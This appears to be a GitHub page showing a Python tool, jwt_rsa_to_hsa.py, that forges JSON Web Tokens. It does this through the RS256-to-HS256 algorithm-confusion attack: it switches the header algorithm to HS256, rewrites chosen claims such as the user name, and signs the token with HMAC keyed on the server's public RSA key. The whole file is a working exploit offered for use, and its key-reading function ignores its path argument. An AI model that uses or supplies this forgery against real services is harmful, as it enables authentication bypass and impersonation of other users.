-
Notifications
You must be signed in to change notification settings - Fork 5
/
jwt_rsa_to_hsa.py
121 lines (90 loc) · 2.93 KB
/
jwt_rsa_to_hsa.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import os
import json
import hmac
import base64
import logging
import hashlib
import argparse
log = logging.getLogger()
logging.basicConfig(format="[%(levelname)s]: %(message)s", level=logging.INFO)
# create a keyvalue class
class keyvalue(argparse.Action):
# Constructor calling
def __call__(self, parser, namespace, values, option_string=None):
setattr(namespace, self.dest, dict())
for value in values:
# split it into key and value
key, value = value.split("=")
# assign into dictionary
getattr(namespace, self.dest)[key] = value
def read_pubkey(pubkey_path):
with open("jwt_key.pub", "rb") as fp:
return fp.read()
def decode_part(part):
b64decoded = base64.b64decode(part.encode()).decode()
return json.loads(b64decoded)
def decode_jwt(jwt):
header, body, _ = jwt.split(".")
header = decode_part(header)
body = decode_part(body)
return (header, body)
def modify_jwt(part, key, value):
part[key] = value
return part
def modify_header(header):
header["alg"] = "HS256"
return header
def modify_body(kwargs, body):
for key in kwargs:
body[key] = kwargs[key]
return body
def encode_part(part):
string = json.dumps(part)
encoded = base64.urlsafe_b64encode(string.encode()).decode().rstrip("=")
# base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
return encoded
def sign(encoded_header, encoded_body, pubkey):
data = f"{encoded_header}.{encoded_body}"
hmac_sig = hmac.new(
pubkey,
msg=bytes(data, "utf-8"),
digestmod=hashlib.sha256,
).digest()
signature = base64.urlsafe_b64encode(hmac_sig).decode().rstrip("=")
return signature
def main(args):
pubkey_path = os.path.abspath(args.pubkey_path)
log.info(f"Reading public key: {pubkey_path}")
pubkey = read_pubkey(pubkey_path)
log.info("Decoding JWT")
header, body = decode_jwt(args.jwt)
# Change header to HS256
log.info("Modifying algorithm")
new_header = modify_header(header)
if args.kwargs:
log.info("Modifying body elements")
new_body = modify_body(args.kwargs, body)
else:
new_body = body
log.info("Encoding")
encoded_header = encode_part(new_header)
encoded_body = encode_part(new_body)
log.info("Signing JWT")
signature = sign(encoded_header, encoded_body, pubkey)
print("")
print("New JWT:")
print(f"{encoded_header}.{encoded_body}.{signature}")
def parser():
parser = argparse.ArgumentParser(description="Encrypt JWT as HS256")
parser.add_argument("pubkey_path")
parser.add_argument("jwt")
parser.add_argument(
"--kwargs",
nargs="*",
action=keyvalue,
help="Key value pairs to change in the body of the JWT: --kwargs 'user=trevor' 'another=change'",
)
return parser.parse_args()
if __name__ == "__main__":
args = parser()
main(args)